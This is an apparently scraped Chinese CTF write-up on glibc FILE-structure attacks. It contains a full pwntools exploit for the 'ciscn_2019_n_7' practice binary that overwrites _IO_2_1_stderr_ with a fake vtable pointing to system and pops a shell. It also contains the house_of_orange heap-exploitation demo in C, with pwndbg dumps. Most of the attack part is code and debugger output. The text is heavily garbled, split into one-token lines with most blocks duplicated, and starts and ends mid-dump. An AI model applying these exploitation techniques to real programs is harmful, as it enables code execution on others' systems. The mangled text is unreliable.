<_IO_default_imbue>
}
pwndbg> p _IO_2_1_stderr_
$
1
=
{
file
=
{
_flags
=
1852400175
,
# /bin/sh
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
# 0
_IO_write_ptr
=
0x1
<error: Cannot access memory at address
0x1
>,
# 1
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
# <-- 覆写的vtable会指向这里
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x7efe863ce3a0
<__libc_system>
"H\205\377t\v\351\206\372\377\377f\017\037D"
,
# system
_IO_save_end
=
0x7efe863ce3a0
<__libc_system>
"H\205\377t\v\351\206\372\377\377f\017\037D"
,
# system
_markers
=
0x7efe863ce3a0
<__libc_system>,
# system
_chain
=
0x7efe863ce3a0
<__libc_system>,
# system
_fileno
=
0
,
_flags2
=
0
,
_old_offset
=
0
,
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x0
,
_offset
=
0
,
_codecvt
=
0x0
,
_wide_data
=
0x0
,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
,
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x7efe8674e580
<_IO_2_1_stderr_
+
64
>
# addr(_IO_2_1_stderr_) + 0x40
}
pwndbg> p _IO_file_jumps
$
2
=
{
__dummy
=
0
,
__dummy2
=
0
,
__finish
=
0x7efe864029d0
<_IO_new_file_finish>,
__overflow
=
0x7efe86403740
<_IO_new_file_overflow>,
# exit会调用(偏移为4)
__underflow
=
0x7efe864034b0
<_IO_new_file_underflow>,
__uflow
=
0x7efe86404610
<__GI__IO_default_uflow>,
__pbackfail
=
0x7efe86405990
<__GI__IO_default_pbackfail>,
__xsputn
=
0x7efe864021f0
<_IO_new_file_xsputn>,
__xsgetn
=
0x7efe86401ed0
<__GI__IO_file_xsgetn>,
__seekoff
=
0x7efe864014d0
<_IO_new_file_seekoff>,
__seekpos
=
0x7efe86404a10
<_IO_default_seekpos>,
__setbuf
=
0x7efe86401440
<_IO_new_file_setbuf>,
__sync
=
0x7efe86401380
<_IO_new_file_sync>,
__doallocate
=
0x7efe863f6190
<__GI__IO_file_doallocate>,
__read
=
0x7efe864021b0
<__GI__IO_file_read>,
__write
=
0x7efe86401b80
<_IO_new_file_write>,
__seek
=
0x7efe86401980
<__GI__IO_file_seek>,
__close
=
0x7efe86401350
<__GI__IO_file_close>,
__stat
=
0x7efe86401b70
<__GI__IO_file_stat>,
__showmanyc
=
0x7efe86405b00
<_IO_default_showmanyc>,
__imbue
=
0x7efe86405b10
<_IO_default_imbue>
}
pwndbg> p &(stderr
-
>_flags)
$
8
=
(
int
*
)
0x7f9d0bb2b540
<_IO_2_1_stderr_>
pwndbg> p &(stderr
-
>_IO_read_ptr)
$
9
=
(char
*
*
)
0x7f9d0bb2b548
<_IO_2_1_stderr_
+
8
>
pwndbg> p &(stderr
-
>_flags)
$
8
=
(
int
*
)
0x7f9d0bb2b540
<_IO_2_1_stderr_>
pwndbg> p &(stderr
-
>_IO_read_ptr)
$
9
=
(char
*
*
)
0x7f9d0bb2b548
<_IO_2_1_stderr_
+
8
>
# step4:exit
command(
'a'
)
sleep(
0.5
)
itr()
# step4:exit
command(
'a'
)
sleep(
0.5
)
itr()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
context(log_level
=
'debug'
)
#,terminal=['tmux','sp','-h'])
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(
str
(delim),
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(
str
(delim),
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
itr
=
lambda
:p.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
p
=
process(
"./ciscn_2019_n_7"
)
#p = remote("node4.buuoj.cn",29535)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
#libc = ELF('./libc-2.23.so')
elf
=
ELF(
"./ciscn_2019_n_7"
)
def
dbg():
gdb.attach(p)
pause()
def
command(
id
):
ru(
"-> \n"
)
sl(
str
(
id
))
def
add(article_len,author_name):
command(
1
)
ru(
'Input string Length: \n'
)
sl(
str
(article_len))
ru(
'Author name:\n'
)
s(author_name)
def
edit(name, content):
command(
2
)
ru(
"New Author name:\n"
)
sl(name)
ru(
"New contents:\n"
)
s(content)
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
#dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
payload
=
'/bin/sh'
.ljust(
32
,
'\x00'
)
+
p64(
0
)
+
p64(
1
)
#0x30
payload
+
=
p64(
0
)
*
4
+
p64(system)
*
4
#p64(libc_base+0x4526a)*4#0x50-0x70
payload
=
payload.ljust(
0xd8
,
'\x00'
)
payload
+
=
p64(IO_2_1_stderr
+
0x40
)
edit(
'a\n'
, payload)
#dbg()
sleep(
0.5
)
# step4:exit
command(
'a'
)
# 随便输入一个,让程序退出,触发_IO_flush_all_lockp。(不知道为什么如果进4是拿不到shell的)
sleep(
0.5
)
#p.sendline('exec 1>&0')
itr()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
context(log_level
=
'debug'
)
#,terminal=['tmux','sp','-h'])
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(
str
(delim),
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(
str
(delim),
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
itr
=
lambda
:p.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
p
=
process(
"./ciscn_2019_n_7"
)
#p = remote("node4.buuoj.cn",29535)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
#libc = ELF('./libc-2.23.so')
elf
=
ELF(
"./ciscn_2019_n_7"
)
def
dbg():
gdb.attach(p)
pause()
def
command(
id
):
ru(
"-> \n"
)
sl(
str
(
id
))
def
add(article_len,author_name):
command(
1
)
ru(
'Input string Length: \n'
)
sl(
str
(article_len))
ru(
'Author name:\n'
)
s(author_name)
def
edit(name, content):
command(
2
)
ru(
"New Author name:\n"
)
sl(name)
ru(
"New contents:\n"
)
s(content)
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
#dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
payload
=
'/bin/sh'
.ljust(
32
,
'\x00'
)
+
p64(
0
)
+
p64(
1
)
#0x30
payload
+
=
p64(
0
)
*
4
+
p64(system)
*
4
#p64(libc_base+0x4526a)*4#0x50-0x70
payload
=
payload.ljust(
0xd8
,
'\x00'
)
payload
+
=
p64(IO_2_1_stderr
+
0x40
)
edit(
'a\n'
, payload)
#dbg()
sleep(
0.5
)
# step4:exit
command(
'a'
)
# 随便输入一个,让程序退出,触发_IO_flush_all_lockp。(不知道为什么如果进4是拿不到shell的)
sleep(
0.5
)
#p.sendline('exec 1>&0')
itr()
......
from
pwn_debug
import
*
context(log_level
=
'debug'
,arch
=
'amd64'
)
#,terminal=['tmux','sp','-h']) 相对于上面的exp,添加arch
......
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
#dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
#payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30
#payload += p64(0)*4 + p64(system)*4 #p64(libc_base+0x4526a)*4#0x50-0x70
#payload = payload.ljust(0xd8, '\x00')
#payload += p64(IO_2_1_stderr+0x40)
libc.address
=
libc_base
# 除了得到libc基址后分别计算其他地址外,还可以直接将真实地址赋值给libc.address,其他地址只要sym就可以了
fake_file
=
IO_FILE_plus()
# 需要在前面设置 context.arch='amd64',不然默认是i386
fake_file._flags
=
0x0068732f6e69622f
fake_file._IO_write_base
=
0
fake_file._IO_write_ptr
=
1
fake_file._mode
=
0
#fake_file._IO_save_end = system
fake_file._IO_save_end
=
libc.sym[
"system"
]
#fake_file.vtable = IO_2_1_stderr+0x40
fake_file.vtable
=
libc.sym[
"_IO_2_1_stderr_"
]
+
0x40
fake_file.show()
# 打印fake file的结构
#dbg()
#edit('a\n', payload)
edit(
'a\n'
,
str
(fake_file))
#dbg()
sleep(
0.5
)
# step4:exit
command(
'a'
)
sleep(
0.5
)
#p.sendline('exec 1>&0')
p.interactive()
......
from
pwn_debug
import
*
context(log_level
=
'debug'
,arch
=
'amd64'
)
#,terminal=['tmux','sp','-h']) 相对于上面的exp,添加arch
......
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
#dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
#payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30
#payload += p64(0)*4 + p64(system)*4 #p64(libc_base+0x4526a)*4#0x50-0x70
#payload = payload.ljust(0xd8, '\x00')
#payload += p64(IO_2_1_stderr+0x40)
libc.address
=
libc_base
# 除了得到libc基址后分别计算其他地址外,还可以直接将真实地址赋值给libc.address,其他地址只要sym就可以了
fake_file
=
IO_FILE_plus()
# 需要在前面设置 context.arch='amd64',不然默认是i386
fake_file._flags
=
0x0068732f6e69622f
fake_file._IO_write_base
=
0
fake_file._IO_write_ptr
=
1
fake_file._mode
=
0
#fake_file._IO_save_end = system
fake_file._IO_save_end
=
libc.sym[
"system"
]
#fake_file.vtable = IO_2_1_stderr+0x40
fake_file.vtable
=
libc.sym[
"_IO_2_1_stderr_"
]
+
0x40
fake_file.show()
# 打印fake file的结构
#dbg()
#edit('a\n', payload)
edit(
'a\n'
,
str
(fake_file))
#dbg()
sleep(
0.5
)
# step4:exit
command(
'a'
)
sleep(
0.5
)
#p.sendline('exec 1>&0')
p.interactive()
/
/
gcc house_of_orange.c
-
g
-
o house_of_orange
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
winner ( char
*
ptr);
int
main()
{
char
*
p1,
*
p2;
size_t io_list_all,
*
top;
/
/
首先 malloc 一块
0x400
大小的 chunk
p1
=
malloc(
0x400
-
16
);
/
/
假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的
0xc01
top
=
(size_t
*
) ( (char
*
) p1
+
0x400
-
16
);
top[
1
]
=
0xc01
;
/
/
再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2
=
malloc(
0x1000
);
/
/
此时top[
2
]和top[
3
]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是
0x9a8
,计算得到 _IO_list_all的地址
io_list_all
=
top[
2
]
+
0x9a8
;
/
/
假设存在堆溢出,设置old top chunk的bk指针为 io_list_all
-
0x10
,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[
3
]
=
io_list_all
-
0x10
;
/
/
将字符串
/
bin
/
sh放到 old top chunk 的开头,并且把 size 改为
0x61
,这里改为
0x61
是因为这个大小属于 smallbin[
4
],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char
*
) top,
"/bin/sh\x00"
,
8
);
top[
1
]
=
0x61
;
_IO_FILE
*
fp
=
(_IO_FILE
*
) top;
/
/
为调用_IO_OVERFLOW需满足一些检查,包括:fp
-
>_mode
=
0
、_IO_write_base 小于 _IO_write_ptr
fp
-
>_mode
=
0
;
fp
-
>_IO_write_base
=
(char
*
)
2
;
fp
-
>_IO_write_ptr
=
(char
*
)
3
;
/
/
将_IO_OVERFLOW 改为 system 函数的地址
size_t
*
jump_table
=
&top[
12
];
jump_table[
3
]
=
(size_t) &winner;
/
/
把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*
(size_t
*
) ((size_t) fp
+
sizeof(_IO_FILE))
=
(size_t) jump_table;
/
/
执行malloc中的攻击链
malloc(
10
);
return
0
;
}
int
winner(char
*
ptr)
{
system(ptr);
return
0
;
}
/
/
gcc house_of_orange.c
-
g
-
o house_of_orange
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
winner ( char
*
ptr);
int
main()
{
char
*
p1,
*
p2;
size_t io_list_all,
*
top;
/
/
首先 malloc 一块
0x400
大小的 chunk
p1
=
malloc(
0x400
-
16
);
/
/
假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的
0xc01
top
=
(size_t
*
) ( (char
*
) p1
+
0x400
-
16
);
top[
1
]
=
0xc01
;
/
/
再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2
=
malloc(
0x1000
);
/
/
此时top[
2
]和top[
3
]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是
0x9a8
,计算得到 _IO_list_all的地址
io_list_all
=
top[
2
]
+
0x9a8
;
/
/
假设存在堆溢出,设置old top chunk的bk指针为 io_list_all
-
0x10
,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[
3
]
=
io_list_all
-
0x10
;
/
/
将字符串
/
bin
/
sh放到 old top chunk 的开头,并且把 size 改为
0x61
,这里改为
0x61
是因为这个大小属于 smallbin[
4
],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char
*
) top,
"/bin/sh\x00"
,
8
);
top[
1
]
=
0x61
;
_IO_FILE
*
fp
=
(_IO_FILE
*
) top;
/
/
为调用_IO_OVERFLOW需满足一些检查,包括:fp
-
>_mode
=
0
、_IO_write_base 小于 _IO_write_ptr
fp
-
>_mode
=
0
;
fp
-
>_IO_write_base
=
(char
*
)
2
;
fp
-
>_IO_write_ptr
=
(char
*
)
3
;
/
/
将_IO_OVERFLOW 改为 system 函数的地址
size_t
*
jump_table
=
&top[
12
];
jump_table[
3
]
=
(size_t) &winner;
/
/
把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*
(size_t
*
) ((size_t) fp
+
sizeof(_IO_FILE))
=
(size_t) jump_table;
/
/
执行malloc中的攻击链
malloc(
10
);
return
0
;
}
int
winner(char
*
ptr)
{
system(ptr);
return
0
;
}
/
/
首先 malloc 一块
0x400
大小的 chunk
p1
=
malloc(
0x400
-
16
);
/
/
首先 malloc 一块
0x400
大小的 chunk
p1
=
malloc(
0x400
-
16
);
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x602000
Size:
0x401
Top chunk | PREV_INUSE
Addr:
0x602400
Size:
0x20c01
<
-
-
0x20c00
+
0x400
=
0x21000
(页对齐(
0x1000
))
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x602000
Size:
0x401
Top chunk | PREV_INUSE
Addr:
0x602400
Size:
0x20c01
<
-
-
0x20c00
+
0x400
=
0x21000
(页对齐(
0x1000
))
/
/
假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的
0xc01
top
=
(size_t
*
) ( (char
*
) p1
+
0x400
-
16
);
top[
1
]
=
0xc01
;
/
/
假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的
0xc01
top
=
(size_t
*
) ( (char
*
) p1
+
0x400
-
16
);
top[
1
]
=
0xc01
;
pwndbg> p top
$
1
=
(size_t
*
)
0x602400
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x602000
Size:
0x401
Top chunk | PREV_INUSE
Addr:
0x602400
Size:
0xc01
pwndbg> p top
$
2
=
(size_t
*
)
0x602400
pwndbg> x
/
4gx
0x602400
0x602400
:
0x0000000000000000
0x0000000000000c01
<
-
-
0xc00
+
0x400
=
0x1000
页对齐
0x602410
:
0x0000000000000000
0x0000000000000000
pwndbg> p top
$
1
=
(size_t
*
)
0x602400
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x602000
Size:
0x401
Top chunk | PREV_INUSE
Addr:
0x602400
Size:
0xc01
pwndbg> p top
$
2
=
(size_t
*
)
0x602400
pwndbg> x
/
4gx
0x602400
0x602400
:
0x0000000000000000
0x0000000000000c01
<
-
-
0xc00
+
0x400
=
0x1000
页对齐
0x602410
:
0x0000000000000000
0x0000000000000000
/
/
再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2
=
malloc(
0x1000
);
/
/
再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2
=
malloc(
0x1000
);
pwndbg>
bin
fastbins
0x20
:
0x0
0x30
:
0x0
0x40
:
0x0
0x50
:
0x0
0x60
:
0x0
0x70
:
0x0
0x80
:
0x0
unsortedbin
all
:
0x602400
—▸
0x7ffff7dd1b78
(main_arena
+
88
) ◂—
0x602400
smallbins
empty
largebins
empty
pwndbg> x
/
4gx
(char
*
)(&main_arena)
+
88
0x7ffff7dd1b78
<main_arena
+
88
>:
0x0000000000624010
0x0000000000000000
0x7ffff7dd1b88
<main_arena
+
104
>:
0x0000000000602400
0x0000000000602400
pwndbg> x
/
4gx
0x602400
0x602400
:
0x0000000000000000
0x0000000000000be1
0x602410
:
0x00007ffff7dd1b78
0x00007ffff7dd1b78
<
-
-
old top chunk的fd和bk都存储unsoredbin地址
pwndbg>
bin
fastbins
0x20
:
0x0
0x30
:
0x0
0x40
:
0x0
0x50
:
0x0
0x60
:
0x0
0x70
:
0x0
0x80
:
0x0
unsortedbin
all
:
0x602400
—▸
0x7ffff7dd1b78
(main_arena
+
88
) ◂—
0x602400
smallbins
empty
largebins
empty
pwndbg> x
/
4gx
(char
*
)(&main_arena)
+
88
0x7ffff7dd1b78
<main_arena
+
88
>:
0x0000000000624010
0x0000000000000000
0x7ffff7dd1b88
<main_arena
+
104
>:
0x0000000000602400
0x0000000000602400
pwndbg> x
/
4gx
0x602400
0x602400
:
0x0000000000000000
0x0000000000000be1
0x602410
:
0x00007ffff7dd1b78
0x00007ffff7dd1b78
<
-
-
old top chunk的fd和bk都存储unsoredbin地址
/
/
溢出修改top的size前
0x602000
0x602400
0x623000
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
...
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| chunk | Top ... |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
...
-
-
-
-
-
-
-
-
-
-
-
-
-
|
heap start heap end
/
/
溢出修改top的size后
0x602000
0x602400
0x603000
0x623000
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
| chunk | Top .. | ... |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
heap start heap end
/
/
malloc(
0x1000
)后
0x602000
0x602400
0x603000
0x623000
0x624010
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
..
-
-
-
-
|
| chunk | Top(free) .. | ... | chunk p2| new Top |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
..
-
-
-
-
|
heap start new heap end
/
/
溢出修改top的size前
0x602000
0x602400
0x623000
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
...
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| chunk | Top ... |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
...
-
-
-
-
-
-
-
-
-
-
-
-
-
|
heap start heap end
/
/
溢出修改top的size后
0x602000
0x602400
0x603000
0x623000
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
| chunk | Top .. | ... |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
heap start heap end
/
/
malloc(
0x1000
)后
0x602000
0x602400
0x603000
0x623000
0x624010
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
..
-
-
-
-
|
| chunk | Top(free) .. | ... | chunk p2| new Top |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
..
-
-
-
-
|
heap start new heap end
/
/
此时top[
2
]和top[
3
]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是
0x9a8
,计算得到 _IO_list_all的地址
io_list_all
=
top[
2
]
+
0x9a8
;
/
/
此时top[
2
]和top[
3
]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是
0x9a8
,计算得到 _IO_list_all的地址
io_list_all
=
top[
2
]
+
0x9a8
;
pwndbg> p
/
x io_list_all
$
16
=
0x7ffff7dd2520
pwndbg> p
/
x io_list_all
$
16
=
0x7ffff7dd2520
for
(;; )
{
int
iters
=
0
;
while
((victim
=
unsorted_chunks (av)
-
>bk) !
=
unsorted_chunks (av))
/
/
将最后一个chunk(victim)取出
{
bck
=
victim
-
>bk;
/
/
bck为倒数第二个chunk
......
/
*
remove
from
unsorted
list
*
/
unsorted_chunks (av)
-
>bk
=
bck;
/
/
若发生攻击,则unsortedbin的bk设置成了改写的victim
-
>bk
bck
-
>fd
=
unsorted_chunks (av);
/
/
把倒数第二个chunk的fd设置为unsorted_chunks(av)
......
for
(;; )
{
int
iters
=
0
;
while
((victim
=
unsorted_chunks (av)
-
>bk) !
=
unsorted_chunks (av))
/
/
将最后一个chunk(victim)取出
{
bck
=
victim
-
>bk;
/
/
bck为倒数第二个chunk
......
/
*
remove
from
unsorted
list
*
/
unsorted_chunks (av)
-
>bk
=
bck;
/
/
若发生攻击,则unsortedbin的bk设置成了改写的victim
-
>bk
bck
-
>fd
=
unsorted_chunks (av);
/
/
把倒数第二个chunk的fd设置为unsorted_chunks(av)
......
/
/
假设存在堆溢出,设置old top chunk的bk指针为 io_list_all
-
0x10
,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[
3
]
=
io_list_all
-
0x10
;
/
/
假设存在堆溢出,设置old top chunk的bk指针为 io_list_all
-
0x10
,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[
3
]
=
io_list_all
-
0x10
;
pwndbg> x
/
4gx
top
0x602400
:
0x0000000000000000
0x0000000000000be1
0x602410
:
0x00007ffff7dd1b78
0x00007ffff7dd2510
pwndbg> x
/
4gx
top
0x602400
:
0x0000000000000000
0x0000000000000be1
0x602410
:
0x00007ffff7dd1b78
0x00007ffff7dd2510
/
/
将字符串
/
bin
/
sh放到 old top chunk 的开头,并且把 size 改为
0x61
,这里改为
0x61
是因为这个大小属于 smallbin[
4
],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char
*
) top,
"/bin/sh\x00"
,
8
);
top[
1
]
=
0x61
;
_IO_FILE
*
fp
=
(_IO_FILE
*
) top;
/
/
为调用_IO_OVERFLOW需满足一些检查,包括:fp
-
>_mode
=
0
、_IO_write_base 小于 _IO_write_ptr
fp
-
>_mode
=
0
;
fp
-
>_IO_write_base
=
(char
*
)
2
;
fp
-
>_IO_write_ptr
=
(char
*
)
3
;
/
/
将_IO_OVERFLOW 改为 system 函数的地址
size_t
*
jump_table
=
&top[
12
];
jump_table[
3
]
=
(size_t) &winner;
/
/
把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*
(size_t
*
) ((size_t) fp
+
sizeof(_IO_FILE))
=
(size_t) jump_table;
/
/
将字符串
/
bin
/
sh放到 old top chunk 的开头,并且把 size 改为
0x61
,这里改为
0x61
是因为这个大小属于 smallbin[
4
],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char
*
) top,
"/bin/sh\x00"
,
8
);
top[
1
]
=
0x61
;
_IO_FILE
*
fp
=
(_IO_FILE
*
) top;
/
/
为调用_IO_OVERFLOW需满足一些检查,包括:fp
-
>_mode
=
0
、_IO_write_base 小于 _IO_write_ptr
fp
-
>_mode
=
0
;
fp
-
>_IO_write_base
=
(char
*
)
2
;
fp
-
>_IO_write_ptr
=
(char
*
)
3
;
/
/
将_IO_OVERFLOW 改为 system 函数的地址
size_t
*
jump_table
=
&top[
12
];
jump_table[
3
]
=
(size_t) &winner;
/
/
把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*
(size_t
*
) ((size_t) fp
+
sizeof(_IO_FILE))
=
(size_t) jump_table;
pwndbg> p
*
((struct _IO_FILE_plus
*
)
0x602400
)
# 查看布局之后的old top chunk
$
18
=
{
file
=
{
_flags
=
1852400175
, <
-
-
_flags
=
"/bin/sh"
_IO_read_ptr
=
0x61
<error: Cannot access memory at address
0x61
>,
_IO_read_end
=
0x7ffff7dd1b78
<main_arena
+
88
>
"\020@b"
,
_IO_read_base
=
0x7ffff7dd2510
"",
_IO_write_base
=
0x2
<error: Cannot access memory at address
0x2
